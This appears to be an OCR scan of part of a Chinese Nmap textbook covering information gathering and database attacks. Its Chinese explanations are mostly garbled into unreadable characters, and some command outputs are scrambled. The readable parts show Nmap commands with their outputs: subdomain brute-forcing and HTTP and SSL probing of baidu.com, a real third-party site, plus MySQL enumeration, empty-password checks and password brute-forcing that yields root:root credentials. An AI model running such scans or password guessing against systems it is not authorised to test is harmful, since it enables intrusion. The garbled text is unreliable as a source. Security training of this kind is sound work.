f5.baidu.com - 123.129.254.15
database.baidu.com - 123.129.254.15
mail3.baidu.com - 202.108.22.171
fileserver.baidu.com - 221.192.153.42
db.baidu.com - 61.135.186.206
mailgate.baidu.com - 123.129.254.15
firewall.baidu.com - 221.192.153.42
main.baidu.com - 123.129.254.15
squid.baidu.com - 221.192.153.42
dev.baidu.com - 61.135.185.212
forum.baidu.com - 123.129.254.15
manage.baidu.com - 123.129.254.15
ssh.baidu.com - 123.129.254.15
ftp.baidu.com - 221.192.153.42

7.12
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| mgmt .baidu.com - 123.129.254.15

| ssl.baidu.com - 10.42.7.217

I ftp0.baidu.com - 123,129.254.15

| mirror.baidu.com - 10.11.250.228

| git.baidu.com - 10.42.4.104

| stage.baidu.com - 123.129.254.15

| mobile.baidu.com - 123.125.112.120

| mobile.baidu.com - 61.135.185.124

| gw.baidu.com - 123.129.254.15

| help.baidu.com - 123.125.112.108

| helpdesk.baidu.com - 123.129.254.15

| home.baidu.com - 123.125.114.197

| monitor.baidu.com - 10.94.25.52

| mssgl.baidu.com - 123.129.254.15

| _ mta.baidu.com - 123.129.254.15

WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 9.61 seconds
root@Wing:~#

Z2x)i}

ML A H 45 ol LIAR 50, T A RN 848 R4S 28 88 % dns-brute AL ZS H 5k .
ZIAT] LA “dns-brute.threads=2kF2 7 $i7 2 2k FE K P sl gD W ff i B2, {£H dns-brute.
hostlist=./hostfile.txt $f & — 7 ZE A F) K

113 Rt ES

R 7.13 Frax A AT PTas Nmap iy @K, RIS A4/ ar —HTTP {5 5
.

*713 FTMELL
B ¥ ®m B

--script ip-geolocation-* IP {5 B4
whois WHOIS #rif]
http-email-harvest 124 E-mail {5 &
hostmap-ip2hosts IP 2 ¥
dns-brute IDNREERSEE S
membase-http-info Litae o PN
smb-security-mode.nse J& & FT B LR 55 e
smb-check-vulns.nse ER7 W et




713 HTTPER#E&

s
B X ®m B
http-stored-xss.nse F14H Web Uil
snmp-win32-services 3L Snmp %1% Windows IR %5/l
dns-brute % DNS IR %5 8 0 EHL %
http-headers/http-sitemap-generator HTTP {5 BH84%
ssl-enum-ciphers Hzs SSL &4
ssh-hostkey SSH Ik 55 % 445 B

HTTP AR A<

{# /] Nmap 7] A48 HTTP HIRRAS, M ITAFEN 400 A )1, #1401, Apache. 11S7. Nginx
Y AT T i IR AR S PR IR A h B = A7 42, 81 Nmap 7T DAAE & ] B tth & B IX L6055 ]

BESE
§ FH-sV LI EI A% HTTP RRASHEAT 4830

root@Wing:~# nmap -sV -p 80 www.Oday.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 16:18 CST
Nmap scan report for www.Oday.co (210.209.122.120)

Host is up (0.0065s latency).

PORT STATE SERVICE VERSION

80/tcp open http ASERVER/1.2.9-3

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds

root@Wing: ~#

o
MHirth 1945 B4350 HTTP fiRA 4 ASERVER/1.2.9-3.
HTTP kE 8 &M
HTTP 3k/2& HTTP 3815 BMSCIRE (117 SR A0 e 7 BB SCRF I Sk 48k 4 2%
BRIESR
{f T4 “nmap -p 80 --script=http-headers H Friisit” BI AT H brithib 4T HTTP k15 &
R .
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root@Wing:~# nmap -p 80 --script=http-headers baidu.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 16:23 CST

Nmap scan report for baidu.com (180.149.132.47)

Host is up (0.031s latency).

Other addresses for baidu.com (not scanned): 220.181.57.217 123.125.114.144
PORT STATE SERVICE

80/tcp open http

| http-headers:

| Date: Sun, 28 Jun 2015 08:23:50 GMT
| Server: Apache

| Cache-Control: max-age=86400

| Expires: Mon, 29 Jun 2015 08:23:50 GMT

| Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
| ETag: "51-4b4c7d90"

| Accept-Ranges: bytes

| Content-Length: 81

| Connection: Close

| Content-Type: text/html

|

|

(Request type: HEAD)

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
root@Wing:~#

T

ML b4 H 1 45 B AT DA S0 IR 45 2% 15 1] & Sun, 28 Jun 2015 08:23:50 GMT, JiR4%-%% HTTP
F2)7 A Apache. #5276, WARKE. EERE, WAELALN text/html,

HTTP B RX&HHEN

PR H AR H REWRGE B AT I EZEW—P, @ik Nmap ] http-sitemap-
generator AT LLPRE IR EI(E B .

BRIEPR

{E 4> “nmap -p 80 --script=http-sitemap-generator H Friihl” EIA[€4T Web H 3458 .

root@Wing:~# nmap -p 80 —--script=http-sitemap-generator www.baidu.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 16:28 CST
Nmap scan report for www.baidu.com (61.135.169.125)

Host is up (0.0031s latency).

Other addresses for www.baidu.com (not scanned): 61.135.169.121
PORT STATE SERVICE

80/tcp open http

| http-sitemap-generator:
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| Directory structure:

| /

| Other: 3; ico: 1

| /cache/sethelp/

| Other: 1; html: 1

| /cache/sethelp/img/

| png: 3

| /duty/

| Other: 1

\ /gaoji/

| html: 1

| /img/

| gif: 1; png: 1; svg: 1

\ /js/

| JEE 1

| /more/

\ Other: 1

| /search/

| html: 1

| Longest directory structure:
| Depth: 3

\ Dir: /cache/sethelp/img/

| Total files found (by extension):
| Other: 6; gif: 1; html: 3; ico: 1; js: 1; png: 4; svg: 1

Nmap done: 1 IP address (1 host up) scanned in 1.89 seconds

root@Wing:~#

DT

MEA_E At 45 R AT AR S el i) H kg k, WTUUE B H X TR EKSFA £, Nmap X
HHHE MR Gt

1 ECTUE R

% 714 Jroas AKRE TP Nmap 23K, LI &2 AN Pr a2

Frz& SSL

Fz7.14 ATFFHWS
B F O
--script ip-geolocation-* IP {5 B4R
whois WHOIS # ]
http-email-harvest {4E E-mail 5 &
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MK "®m B
hostmap-ip2hosts IP Ji2 %
dns-brute DNS fii S84
membase-http-info KRZERASER
smb-security-mode.nse 5 5 AT ERHUIRSS il
smb-check-vulns.nse R4
http-stored-xss.nse F14 Web il

snmp-win32-services

it Snmp 512 Windows JIi 45/ f

dns-brute B2 DNS RS20 EHL4
http-headers/http-sitemap-generator HTTP {5 B4
ssl-enum-ciphers & SSL F4H
ssh-hostkey SSH /R4 %815 B

SSL (Secure Sockets Layer, %4EH 2 ) ML GATH 14512 %4 (Transport Layer Security,
TLS) & A M E R IR % 2 KA e BN —F 2 Wil TLS 55 SSL fEALHIE X M2 &R

BEAT IR -

SSL i A FH % P16 B4 BEAT N, XA AT DR KRR R EEER =4, EidRE
SSLv3/TLS &K ] LUAIWT H A5 A 55 4% SCRF A 3 P SA R IS 40 J5 1

BIETR

74 “nmap -p 443 --script=ssl-enum-ciphers H#x” Bl ] #Z& SSL %41

PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| SSLv3:
ciphers:

COmpressors:
NULL
TLSv1.0:

Host is up (0.0034s latency).
Other addresses for www.baidu.com

Starting Nmap 6.47 ( http://nmap.org )
Nmap scan report for www.baidu.com (61.135.169.121)

root@Wing:~# nmap -p 443 --script=ssl-enum-ciphers www.baidu.com

at 2015-06-28 16:43 CST

(not scanned): 61.135.169.125

|

| TLS_RSA WITH AES 128 CBC_SHA - strong
[ TLS RSA WITH AES 256 CBC SHA - strong
| TLS RSA WITH RC4 128 SHA - strong
|

|

I



7.14 % SSL #ZHA

| ciphers:

| TLS ECDHE RSA WITH AES 128 CBC_SHA - strong

| TLS_ECDHE _RSA WITH AES 256 CBC_SHA - strong

[ TLS_ECDHE RSA WITH RC4 128 SHA - strong

[ TLS RSA WITH AES 128 CBC SHA - strong

[ TLS RSA_WITH AES 256 CBC_SHA - strong

[ TLS_RSA WITH RC4 128 SHA - strong

| compressors:

| NULL

| TLSv1.1:

| ciphers:

[ TLS_ECDHE RSA WITH AES 128 CBC_SHA - strong

| TLS_ECDHE RSA WITH AES 256 CBC_SHA - strong

[ TLS_ECDHE_RSA WITH RC4_128_SHA - strong

| TLS RSA_WITH AES_ 128 CBC_SHA - strong

| TLS_RSA WITH AES 256 CBC_SHA - strong

| TLS_RSA WITH RC4 128 SHA - strong

| compressors:

| NULL

|  TLSv1.2:

| ciphers:

| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong

[ TLS ECDHE _RSA WITH AES 128 _CBC_SHA256 - strong
| TLS_ECDHE_RSA WITH_AES 128 GCM SHA256 - strong
I TLS_ECDHE _RSA WITH AES_256 CBC_SHA - strong

| TLS_ECDHE RSA WITH AES 256 _CBC_SHA384 - strong
[ TLS_ECDHE_RSA WITH AES_256_GCM_SHA384 - strong
| TLS_ECDHE_RSA WITH RC4_128 SHA - strong

[ TLS_RSA_WITH AES_128 CBC_SHA - strong

| TLS_RSA WITH AES_128 CBC_SHA256 - strong

[ TLS RSA WITH AES 128 GCM SHA256 - strong

| TLS RSA WITH AES 256 CBC_SHA - strong

I TLS_RSA_WITH_AES_256_CBC_SHA256 - strong

| TLS RSA WITH AES 256 GCM SHA384 - strong

| TLS_RSA_WITH RC4_128 SHA - strong

| compressors:

| NULL

| least strength: strong

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds

root@Wing:~#

AT

ML B ) 25 S o] DL A0 B B SRR A VL. o, SSLv3 A 3 HE VA -
TLS RSA_WITH AES 128 CBC_SHA - strong . TLS RSA WITH AES 256 CBC SHA -
strong. TLS RSA WITH RC4 128 SHA - strong.
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B7E (A%

115 U PRI

# 7.15 Fros ARFE T Nmap AR, RPN G AANTPrfar@—SSH s

T PE B
*7.15 ATFEWS
B & O
--script ip-geolocation-* IP 5 B% 4R
whois WHOIS #1if]
http-email-harvest %4 E-mail f5 &
hostmap-ipZhosts IP j2 ¥
dns-brute DNS {5 B84
membase-http-info i 35 W=
smb-security-mode.nse J& G AT ELIR 55 e 1)
smb-check-vulns.nse A G4
http-stored-xss.nse F3#1 Web i
snmp-win32-services J@ijd Snmp %12 Windows fig %5/1K
dns-brute HZE DNS R 55 4% 11 1014
http-headers/http-sitemap-generator HTTP i B4 4
ssl-enum-ciphers % SSL %4
ssh-hostkey SSH JR$FE A BHN

SSH & # 3 Secure Shell & 5H. WL H SSH, AJ LT 1& 5 3T In %,
R N XS T AN AT RESEEL 7, o HARBERS P 1k DNS SR AT 1P K. {8
SSH, &4 —MEAMAULF A w2 AR e Z 1 A i, BT LAA] LU PRA% 4 (138 % . SSH A7
RZhEE, BEEEWLMEF Telnet, X ATLLJ FTP. POP, H24 PPP $2{lt— AN “iliE”.

SSH il 21 2 A 7 S8 T A 15 d A Bg 347 n & AR UEZE 1 %245, #E Nmap
JiIA<H, ssh-hostkey A LLEEE SSH k55 HE R .

BRIESER
M iy

root@Wing:~# nmap -p 22 --script ssh-hostkey --script-args ssh hostkey=full 127.0.0.1



Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 16:54 CST

Nmap scan report for localhost (127.0.0.1)

Host is up (-2000s latency) .

PORT STATE SERVICE

22/tcp open ssh

| ssh-hostkey:

| ssh-dss AAAAB3NzaClkc3MAAACBANaDh41IQb9ZDrAbyoted35K5km2+HBNgdIcRchg8B2nwIpb2U4LYT
£fQckxwCrR5/KnPbH3qj rt BPFJEAKNVE45fihprOu2dAauBXmhvI52ik94Tv3IBWnggeNd8bGDN/hGSbTwYHZ+
VeeoEs2AVB6TZTwSN6eSIGEGb+XyK]j 9EhAAAAFQCBJIS5KKNO7sx6AspWvgUCxRzxNfFwARATIAZtaRgXfrk0jJ2
2k8ab4Jzo8fjgbSNOSnHcTL+KUM5ZwJga3ZoBJ%eJHIGMbon+JZg9K60G7/sYY1SjyTOKHQOh4aMt Tmg9gLku
XS/c5//sYILKCojQx1FSsBGP+w0qdlYEtp3K8EC6ugl0+i6X8aVyPXeFYKlaGviWovOlhVS35AARAAIAVaYGAwA
nxk2 fRNog6RVAufAXg7CtSxvOKxgel5BtTh2KSmdOV2gC+XIOF5805I10jgUWpeG3adhl+BAzXIGrqyEJ+pNC
TkEzBpbfufral7xoDWv9el71HwlVyq3tXdR4485Q0ThGmuH/Av49LBDd5v1C9ubzlsRWGKgRZ1i81iVPQ==

| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCOSVYjeN/KG1lhD8YnHvVVPC5NoA/Kc5bR9059jpdDYhl
E/LydODrz1Er928t0zxPIUATIA7InQqRYNSPMX6rslc/+POilan+c/avglzZzwngnAoBldoztCE8gTh+6D8J1Tav
vImAmHOacanwlFJum2/LA3925EmXBoWz 0MGgXj71K5u8fpH3EI30SqlT4S4PiyKLcJ8fZrt3bEmSESDF2aXA7
12UddrMxvfAM632c7//3zNSO0JTgFW1£9gjgBBWPMSPYAiuldCSWitEWYylq/CJ5fySTdB/uPUHH71Vw8MF8ax4
1sCsBrd62Yr33zw0OLnjZN9pSDrbxaQJdIyFdwI2ndl/Vx

| ecdsa-sha2-nistp256 AAAAE2V]jZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHxS5gBA
7hSQOOSRyXz5nXYpLZaTWt ZcFeDbcvDPut+FZgJ2Dmy0b6I1uVgF0YX9cfawoILIWgWpyP8£feH9QCO=

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing: ~#

AT

MEL IR [BI g5 4350, HARENLIE S ssh-dss. ssh-rsa. ecdsa-sha2-nistp256 3 Fifin% A
o T8 IS HL ssh_hostkey 52 % P40 R, A 4 A& =X, 2072 full, bubble. visual
F all.

171



48 5t BmAsiEmik

AEHIRR

* MySQL 51|25 £ 4 e

* 325 MySQL ZF &

o K MySQL %1%

o & it MySQL #hY

o il MySQL L& E

e &1} Oracle 1%

o # it msSQL %Y

o Ky #F msSQL %4

 EHL msSQL %4

e msSQL #AT RS 4

e #H il PgSQL & hY

AT S 4 Nmap JIATEHE FEVE&E J7 AN, Nmap BIAZEA 295 K &N J7 H )N
F, HO B P SRt R BEARAN S DI I A EE2 5], 5238 nT DL T fi# Nmap % 548 P & 4
HIEA -

AERAE
® 8.1 IR AARFEN T Nmap tn 2R, AT EEEEN, EEAFFIERE,
% 8.1 AEMTHAER (2D
M K #®m B
mysql-databases MySQL #2548 e

mysql-variables 5% MySQL Z& &




81 MySQL FlE#iRE

i
- N ®m B

mysql-empty-password £ £ MySQL %65

mysql-brute # 11 MySQL %15

mysql-audit

# it MySQL %4t &

oracle-brute

# it Oracle %%

ms-sql-brute #1 msSQL # g
ms-sql-empty-password £ # msSQL %Y
ms-sql-tables TEH msSQL ¥4
ms-sql-xp-cmdshell msSQL 4T R&tdn 4
pgsql-brute # 1t PgSQL #15

[Z0 wosor sisemimss

% 8.2 s WA TN Nmap @3, &P MA@ AN 7dr$——MySQL 512

%82 ATFRESS
- [
mysql-databases MySQL 512532 PE
mysgl-variables 4% MySQL 4 &t
mysgql-empty-password 1 Ar MySQL % 14

mysql-brute

il MySQL #74

mysql-audit

i MySQL %4 ic &

oracle-brute

47 1* Oracle %5

ms-sql-brute # 1+ msSQL g
ms-sql-empty-password KA msSQL 45 % it
ms-sql-tables B msSQL %4
ms-sql-xp-cmdshell msSQL #UT RS fr S

pgsql-brute

# 1} PgSQL #h4

BIETR

{14 “nmap -p3306 --script mysql-databases --script-args mysqluser=root,mysqlpass H

bR BEAT Mysql $08 FE 5 25 T4k .
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gow mEEBENX 0

root@Wing:~# nmap -p3306 -—-script mysgl-databases —-script-args mysqluser=root,mysqglpass
192.168.84.1

Starting Nmap 6.40 ( http://nmmap.org ) at 2014-06-12 20:20 CST
Nmap scan report for 192.168.84.1
Host is up (0.0016s latency).

PORT STATE SERVICE
3306/tcp open mysqgl

| mysql

| test

| cmcc

|_ information_schema

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds
root@Wing:~#

VXl

R FATC SN B AR MySQL KK 5 AI%RS , 3 7T LU 55 31 <P EX H A% MySQL ) B A $04iE /7 .
DR E bR P B VT, BRA 7 A -p SR R AR (B S 1, 48 A mysqluser
T BB EIK S, mysqlpass 5 5E H AR ¥R %R, WREDA S MATIHE AL AR,
Jate A Hox 1P k.

root@Wing:~# nmap -p3310 --script mysgl-databases —-script-args mysqgluser=root,mysglpass
192.168.84.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 20:32 CST
Nmap scan report for 192.168.84.1
Host is up (0.0017s latency).

PORT STATE SERVICE
3310/tcp open dyna-access
| mysqgl

| teét

| cmcc

|_ information_schema

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
root@Wing:~#

MEL EEERRE, BAs MySQL f77E 4 1M, 435l 2 mysql. test. cmcc. information_schema.
AR T N ERER B B EH#TEE, HRRXFERSHNMHEA L, HEEMH
Nmap A A S5 E K, XAE Nmap JE FIIA, 7E Metasploit 7t 75 AR (A ER AT LA
B B



8.2 %3 MySQL

‘} . F Nmap N2 AT B8 (5, A7 55 A 3047 34T, Nmap & B34 %
NPe| irmmi i,

82 EIET LK

1% 8.3 P A AT FIPTH Nmap @&, RIS W A/NT T ar©—71% MySQL

< 8.3 ATE®S
MK ®m =B
mysql-databases MySQL Fl|25 54 e
mysql-variables 52 MySQL & &
mysql-empty-password K MySQL %15
mysql-brute #1F MySQL %5
mysgl-audit # it MySQL Z4E &
oracle-brute 71t Oracle %5
ms-sql-brute i msSQL HE1G
ms-sql-empty-password A msSQL % g
ms-sql-tables iE£H msSQL #3#
ms-sql-xp-cmdshell msSQL YT RL T4
pgsql-brute it PgSQL &%
BESR

ffH @4 “nmap -p3306 --script=mysql-variables H#x” R A] %125 H#x MySQL &£ & .

root@Wing:~# nmap -p3306 --script=mysqgl-variables 192.168.84.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 20:39 CST
Nmap scan report for 192.168.84.1

Host is up (0.0016s latency).

PORT STATE SERVICE

3306/tcp open mysql

| mysgl-variables:

| auto_increment increment: 1

| auto_increment offset: 1

| automatic_sp privileges: ON
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back_log: 50

basedir: /usr/

binlog cache size: 32768
bulk_insert buffer size: 8388608
character_set client: latinl
character_ set connection: latinl
character set database: latinl

version_comment: (Debian)

version _compile machine: powerpc
version_compile os: debian-linux-gnu
wait timeout: 28800

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

root@Wing: ~#

T

1 i mysql-variables I A<7] LA %% 5 2 1 $| MySQL ¥R FE AT A AR . 3 B brim O 5ge
T FEEAEH -p 1R E AN R .

root@Wing:~# nmap -p3310 --script=mysqgl-variables 192.168.84.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 20:41 CST
Nmap scan report for 192.168.84.1

Host is up (0.0016s latency).

PORT STATE SERVICE

3310/tcp open mysqgl

| mysgl-variables:

| auto_increment increment: 1

| auto_increment offset: 1

| automatic_sp_privileges: ON

| back log: 50

| basedir: /usr/

| binlog cache size: 32768

| bulk_insert_buffer_size: 8388608
| character_ set_client: latinl

| character set connection: latinl
| character set database: latinl

I

|

|

|

|

|

|

version_comment: (Debian)
version_compile _machine: powerpc
version compile os: debian-linux-gnu
wait_ timeout: 28800

176



8.2 7% MySQLZEE

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
root@Wing: ~#

W SRATC i 2 T LU -sV #9343 1

root@Wing:~# nmap -sV --script=mysqgl-variables 192.168.84.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 20:42 CST
Nmap scan report for 192.168.84.1

Host is up (1.0s latency).

Not shown: 979 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.9 ( (APMServ) mod ssl/2.2.9 OpenSSL/
0.9.8h PHP/5.2.6)

135/tcp  open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open ssl/http Apache httpd 2.2.9 ( (APMServ)mod_ssl/2.2.9 OpenSSL/
0.9.8h PHP/5.2.6)

445/tcp open netbios-ssn

514/tcp filtered shell

843/tcp open unknown

902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
1025/tcp open msrpc Microsoft Windows RPC

1026/tcp open msrpc Microsoft Windows RPC

1027/tcp open msrpc Microsoft Windows RPC

1029/tcp open msrpc Microsoft Windows RPC

1037/tcp open msrpc Microsoft Windows RPC

1038/tcp open msrpc Microsoft Windows RPC

1169/tcp open tripwire?

3306/tcp open mysqgl MySQL (unauthorized)

5678/tcp open rrac?

7000/tcp open afs3-fileserver?

8000/tcp open tcpwrapped

10000/tcp open snet-sensor-mgmt?

| mysgl-variables:

| auto_increment increment: 1
| auto_increment offset: 1

| automatic_sp privileges: ON
| back log: 50

| basedir: /usr/

| binlog cache_size: 32768

|  bulk_insert buffer size: 8388608
| character set client: latinl

| character_set_connection: latinl
| character_set_database: latinl

I

|

|

I

version comment: (Debian)
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[ version compile machine: powerpc
| version compile os: debian-linux-gnu
| wait timeout: 28800

Service detection performed. Please report any incorrect results at http://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 298.43 seconds

root@Wing: ~#

an RAE F-sV T ZE AR PR A AR T 1)
HEEEEHFRRIKSEN, FEMA mysql-brute 8{# mysql-empty-password % g &
[ SER

(1) 2= myso 23

R 8.4 iR AATETIPT 7 Nmap 7448, 38 DL div & 0 ANy Bl di 2

FEiG.
%84 ATFBEWS
- ®m B
mysql-databases MySQL #1125 $ 4
mysql-variables ¥1|2 MySQL 45t
mysql-empty-password H MySQL #H4
mysql-brute #i MySQL # 5

mysql-audit

H#11F MySQL ‘24

oracle-brute

W 7l Oracle %%

ms-sql-brute #H 1t msSQL %5
ms-sql-empty-password Ky ¥ msSQL #5114
ms-sql-tables I msSQL #i#z

ms-sql-xp-cmdshell

msSQL AT Rt 4

pgsql-brute

7 it PgSQL %15

BIETER

{f 4 “nmap -p3306 --script=mysql-empty-password H#¥r” R eJ 47 HFr MySQL 551t

.

l root@Wing:~# nmap -p3306 --script=mysqgl-empty-password 192.168.84.1




Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 20:46 CST
Nmap scan report for 192.168.84.1

Host is up (0.0017s latency).

PORT STATE SERVICE

3306/tcp open mysgl

| mysgl-empty-password:

| anonymous account has empty password

| root account has empty password

1 IP address
root@Wing: ~#

o

Nmap done: (1 host up) scanned in 0.11 seconds

ZAH TH & MySQL &5 & T %Y, Bl#EHiZEHR N root, BMAVFELER, £—
MySQL ‘e VERIR A IIAS, AR4E DL 3 1) 45 R AT A4S 50 H b5 MySQL #1261 % 4 4 4%,
A& A] DM S 2R 6 59 B BRI .

QR ICVEH R B AU 5 H S, AT DU -sV BB AT 4
root@Wing:~# nmap -sV --script=mysql-empty-password 192.168.84.1

Starting Nmap 6.40 ( http://mmap.org ) at 2014-06-12 20:53 CST
Nmap scan report for 192.168.84.1
Host is up (1.0s latency).

Not shown: 979 closed ports

5678/tcp

0.9.8h PHP/5.2.6)

open

rrac?

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.9 ( (APMServ) mod ssl/2.2.9 OpenSSL/
0.9.8h PHP/5.2.6)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open ssl/http Apache httpd 2.2.9 ( (APMServ) mod ssl1/2.2.9 OpenSSL/

445/tcp open netbios-ssn

514/tcp filtered shell

843/tcp open unknown

902/tcp open ssl/vmware—-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tep open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
1025/tcp open msrpc Microsoft Windows RPC

1026/tcp open msrpc Microsoft Windows REC

1027/tcp open msrpc Microsoft Windows RPC

1029/tcp open msrpc Microsoft Windows RPC

1037/tcp open msrpc Microsoft Windows RPC

1038/tcp open msrpc Microsoft Windows RPC

1169/tcp open tripwire?

3306/tcp open mysgl MySQL (unauthorized)

|_mysql-empty-password: Host 'pgos' is not allowed to connect to this MySQL server
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7000/tcp open
8000/tcp open
10000/tcp open

Service

root@Wing:~#

| mysgl-empty-password:

detection
http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up)

afs3-fileserver?
tcpwrapped
snet-sensor-mgmt?

|_ root account has empty password

performed.

| anonymous account has empty password

Please report any incorrect results at

scanned in 296.45 seconds

R FniEsg 15, W LM -p IS E

_\(‘w, —RAEBLT, B LM -F-T4 SRR F AR O, TR B4
NP =| Fsv o, HBAE-sV ETLBET (5 0L 5.

[ =it mysoL s

R 8.5 B AAFET P Nmap @&, RHPMMaSNANTHrTme—8 7 MySQL

AT
%85 ATFHmWS
] [
mysql-databases MySQL #2554 i
mysql-variables %112 MySQL Z5 it
mysql-empty-password o fr MySQL #14
mysql-brute #it MySQL #Hg

mysql-audit

# it MySQL %2/l &

oracle-brute

# 1t Oracle %73

ms-sql-brute

71+ msSQL %11

ms-sql-empty-password A msSQL 25 %5
ms-sql-tables BZHL msSQL # 4%
ms-sql-xp-cmdshell msSQL AT A& fir &

pgsql-brute

i1t PgSQL #t4




BIEPER

1 #ir4 “nmap --script=mysql-brute H#Hx” BI ] & i} HFx MySQL %15,

root@Wing:~# nmap —--script=mysqgl-brute 192.168.84.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 20:59 CST
Nmap scan report for 192.168.84.1

Host is up (1.0s latency).

Not shown: 979 closed ports

PORT STATE SERVICE
80/tcp open http

135/tcp  open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
514/tcp filtered shell
843/tcp open unknown
902/tcp open iss-realsecure
912/tcp open apex-mesh
1025/tcp open NFS-oxr-IIS
1026/tcp open LSA-or-nterm
1027/tcp open I1S

1029/tcp open ms-lsa
1037/tcp open ams

1038/tcp open mtqgp
1169/tcp open tripwire

3306/tcp open mysqgl

| mysgl-brute:

| Accounts

| root:root - Valid credentials

5678/tcp open rrac

7000/tcp open afs3-fileserver
8000/tcp open http-alt
10000/tcp open snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 271.00 seconds
root@Wing: ~#

il
A F T MySQL 5514, BRI\ Nmap SH#4&# MmO A FAHK MySQL iw 1, {HZ2
BATAT LM -p TR — im0, AT LA B K S T,

root@linux:/usr/share/nmap/scripts# nmap -p 3306 --script=mysgl-brute userdb=/root/
passdb.txt passdb=/root/pass.txt 192.168.0.110
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Starting Nmap 6.25 ( http://nmap.org ) at 2014-06-12 21:50 CST

Illegal netmask value, must be /0 - /32

flag to scan that.

3306/tcp open mysqgl
| mysgl-brute:
| Accounts

| root:root - Valid credentials

1) =it mso zomE

Failed to resolve given hostname/IP:

Nmap done: 1 IP address (1 host up)

Assuming /32 (one host)

userdb=. Note that you can't use '/mask' AND
'1-4,7,100-"' style IP ranges. If the machine only has an IPv6 address, add the Nmap -6

scanned in 163.77 seconds

%% 8.6 7R AAFE VI F i Nmap 723, RPN ar & A A/ N1 ar & ——H 1k MySQL
ZAERE .
%86 e
i/ ®m B

mysql-databases MySQL F1I%& %45
mysql-variables 4112 MySQL A8 i
mysgl-empty-password A MySQL # %
mysql-brute W1 MySQL # %
mysql-audit H il MySQL 2R E
oracle-brute #7 3t Oracle %3
ms-sql-brute H3t msSQL #74
ms-sql-empty-password oA msSQL S #
ms-sql-tables BEE msSQL i3
ms-sql-xp-cmdshell msSQL #UT R fir &
pesql-brute it PgSQL #




85 Bt MySQL ZeEE

BIESR

{§ 4 “nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username="root', \
mysql- audit.password=",mysql-audit.filename="nselib/data/mysql-cis.audit" H 5 "B 7] # i+ MySQL
ZARRE.

root@Wing:~# nmap -p 3306 --script mysgl-audit --script-args "mysqgl-audit.username=
'root', \mysgl-audit.password="'"',mysgl-audit.filename="nselib/data/mysql-cis.audit"'"
192.168.84.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 21:13 CST
Nmap scan report for 192.168.84.1
Host is up (0.0025s latency).
PORT STATE SERVICE
3306/tcp open mysqgl
| mysgl-audit:

CIS MySQL Benchmarks v1.0.2
.1: Skip symbolic links => PASS
.2: Logs not on system partition => PASS
.2: Logs not on database partition => PASS
.1: Supported version of MySQL => REVIEW
Version: 5.1.54-1lubuntu4

Bww w

4.4: Remove test database => PASS

4.5: Change admin account name => FAIL

4.7: Verify Secure Password Hashes => PASS

4.9: Wildcards in user hostname => FAIL

The following users were found with wildcards in hostname

root
super
super?2

|

|

|

I

|

|

|

I

[

|

|

|

I

|

| 4.10: No blank passwords => PASS
| 4.11: Anonymous account => PASS
| 5.1: Access to mysql database => REVIEW
| Verify the following users that have access to the MySQL database
|

|

|

|

|

I

|

|

|

|

|

|

|

|

|

user host

root localhost
root patrik-11
root 1270401
debian-sys-maint localhost
root %

super %

5.2: Do not grant FILE privileges to non Admin users => REVIEW
The following users were found having the FILE privilege
super
super?
5.3: Do not grant PROCESS privileges to non Admin users => REVIEW
The following users were found having the PROCESS privilege
super
5.4: Do not grant SUPER privileges to non Admin users => REVIEW
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The following users were found having the SUPER privilege
super
5.5: Do not grant SHUTDOWN privileges to non Admin users => REVIEW
The following users were found having the SHUTDOWN privilege
super
5.6: Do not grant CREATE USER privileges to non Admin users => REVIEW
The following users were found having the CREATE USER privilege
super
5.7: Do not grant RELOAD privileges to non Admin users => REVIEW
The following users were found having the RELOAD privilege
super
8: Do not grant GRANT privileges to non Admin users => PASS
2: Disable Load data local => FAIL
3: Disable old password hashing => PASS
4: Safe show database => FAIL
5: Secure auth => FAIL
.6: Grant tables => FAIL
7: Skip merge => FAIL
8: Skip networking => FAIL
9: Safe user create => FAIL
10: Skip symbolic links => FAIL

Y O OO O O O)Y O O O Wi

The audit was performed using the db-account: root

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
root@Wing:~#

vaxiin

mysql-audit JIA<H] TXF MySQL 2R BT H T, -p 8482 B brvm 1, WRLIEHE
